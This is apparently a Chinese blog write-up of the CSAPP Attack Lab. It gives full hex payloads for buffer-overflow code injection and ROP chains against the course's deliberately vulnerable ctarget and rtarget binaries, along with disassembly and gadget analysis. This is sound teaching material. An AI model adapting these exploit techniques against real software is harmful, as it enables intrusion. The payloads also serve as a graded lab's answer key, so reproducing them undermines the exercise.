前言
Attack Lab 对应 CSAPP 第三章讲汇编和程序运行时栈的部分,这个 Lab 旨在向我们介绍简单的栈溢出攻击方式
题目给了我们一份 writeup、两道题目 ctarget 和 rtarget、未编译的 gadget 列表 farm.c 和 字节码转字符串程序 hex2raw
其中,题目会给 CMU 的服务器上传成绩,非 CMU 的自学者运行程序前需要加上参数 -q 取消上传;如果想要使用文件代替输入,则需要加上参数 -i
整个 Lab 只需要跟随 writeup 的引导一步步做即可
Attack Lab
ctarget
ctarget 的学习内容是代码注入(code injection)
Level 1
Level 1 要求我们利用 test 函数内的 getbuf 函数的溢出漏洞使之返回到 touch1 函数(0x4017c0)
<test>
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
<getbuf>
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
不难看出 getbuf 的缓冲区长度是 0x28,并且没有保存 rbp、没有 check canary(程序开了 canary),所以直接覆盖 retn addr 即可
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
$ ./hex2raw < c1.txt > 1c.txt
$ ./ctarget -qi 1c.txt
Level 2
Level 2 要求我们返回到 touch2(0x4017ec),若成功调用并且传入参数等于我们的 cookie 即为成功
同时 writeup 要求我们不使用 jmp 和 call 指令
<touch2>
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie)
{
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else
{
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
x64 下调用函数的第一个参数存在 rdi 里,所以我们构造一段传参并返回到 touch2 的代码,并让 test 返回到栈里执行这段代码即可
首先先获得执行代码的机器码
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
$ gcc -c c2_code.s
$ objdump -d c2_code.o > c2_code.asm
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
然后 gdb 调试找栈地址(程序没开地址随机化)
在 getbuf 下断点看 rsp 就行了,找到是 0x5561dc78
(可能是环境问题,我的 gdb 无法正常调试程序,所以暂时先用别人的调试结果)
剩下操作跟 Level 1 一样
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
Level 3
Level 3 要求返回到 touch3,并通过其中的 hexmatch 函数
其中 hexmatch 函数比较一个十六进制值和被转换成十六进制值的字符串(比如:"deadbeef" 会被转换成 0xdeadbeef)
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval))
{
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else
{
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
比较苟的是,我们不能简单地把字符串存在注入的代码后面,因为中间几次调用的函数开头都 push 了一些值,而且 hexmatch 里 s 的存放地址做了随机化,如果我们将字符串存进缓冲区,将很有可能会被覆盖掉,所以最稳妥的办法就是存在原来的 retn addr 后面
最后还要记得补上字符串的结束符 \0
剩下的就和 Level 2 没什么区别了
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
rtarget
rtarget 的学习内容是 ROP
程序开了栈随机化和栈不可执行,所以我们也只能依赖 ROP 了
也开了 canary,不过好像也从来没校验过
首先先编译 farm.c 并查看里面的gadget
需要注意的是编译要加参数 -Og 关闭优化,否则会被编译器优化得面目全非
$ gcc -c -Og farm.c
$ objdump -d farm.o > farm.asm
writeup 里还给了我们一张指令的机器码表
Level 2
用 ROP 把 上一个 Level 2 做一遍,前提是只能使用 x64 的前八个寄存器和 gadget farm 里的 gadget
writeup 提示我们仅需使用两个 gadget,且都在 start_farm 和 mid_farm 之间(都可以在 rtarget 内找到一样的片段)
0000000000000000 <start_farm>:
0: f3 0f 1e fa endbr64
4: b8 01 00 00 00 mov $0x1,%eax
9: c3 ret
000000000000000a <getval_142>:
a: f3 0f 1e fa endbr64
e: b8 fb 78 90 90 mov $0x909078fb,%eax
13: c3 ret
0000000000000014 <addval_273>:
14: f3 0f 1e fa endbr64
18: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
1e: c3 ret
000000000000001f <addval_219>:
1f: f3 0f 1e fa endbr64
23: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
29: c3 ret
000000000000002a <setval_237>:
2a: f3 0f 1e fa endbr64
2e: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
34: c3 ret
0000000000000035 <setval_424>:
35: f3 0f 1e fa endbr64
39: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
3f: c3 ret
0000000000000040 <setval_470>:
40: f3 0f 1e fa endbr64
44: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4a: c3 ret
000000000000004b <setval_426>:
4b: f3 0f 1e fa endbr64
4f: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
55: c3 ret
0000000000000056 <getval_280>:
56: f3 0f 1e fa endbr64
5a: b8 29 58 90 c3 mov $0xc3905829,%eax
5f: c3 ret
0000000000000060 <mid_farm>:
60: f3 0f 1e fa endbr64
64: b8 01 00 00 00 mov $0x1,%eax
69: c3 ret
我们要构造的代码需要有:将值传入 rdi,返回到 touch2
于是找到这两个 gadget
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
4019ab: 58 popq %rax
4019ac: 90 nop
4019ad: c3 ret
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
4019a2: 48 89 c7 movq %rax,%rdi
4019a5: c3 ret
然后 payload 就出来了
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
Level 3
和 Level 2 一样,用 ROP 把 Level 3 做一遍
和上次不一样的是,这里开了栈随机化,所以我们只能求助于间接寻址,但是 gadget 中并没有 add 指令,所以我们应该利用 lea 指令,比如下面这个gadget
00000000004019d6 <add_xy>:
6a: f3 0f 1e fa endbr64
6e: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
72: c3 ret
这里 rax = rdi + rsi
然后我们根据这个 gadget 构造 rdi 和 rsi 为 rsp 和偏移值,最后将 rax 传给 rdi(上个 Level 已找过)即可
然后来找传 rsp 的gadget,这里只找到传给 rax 的,比如这段
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret
401a06: 48 89 e0 movq %rsp,%rax
401a09: c3 ret
然后也按照这个思路一步步耐心构造就完了,这里就不写完了(绝对不是因为懒)
最好画个栈图和流程图,防止做到一半脑子短路,贴张别人的
最后的 payload 如下
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
至此,我们打通了这个 Lab
后记
只花了一晚上就搞完了,感觉难度不如……pwn 题(这不废话吗)
但其实还是有收获的,比如终于搞清楚 gadget 的本质了(丢脸)
似乎还有个 Buffer Lab,但好像除了多了个 nop sled 以外其他都大同小异,所以先不做了
后面的 Lab 就不会这么轻松了,感觉个个都要一周起步
下一个本应是涉及缓存和优化的 Cache Lab,但是我没怎么看四五六章,而后面涉及操作系统的内容我也并没有完全搞懂(目前在读 OSTEP 补基础,也是本很好的书),最后的并发编程和网络编程对此前毫无概念的我来说更是宛如天书,所以可能后面三个 Lab(Cache、Shell、Malloc)进度会混在一起、总结性的 Proxy Lab 就摆到最后做,所以下次关于 CSAPP Labs 的更新应该会比较久以后了
Comments NOTHING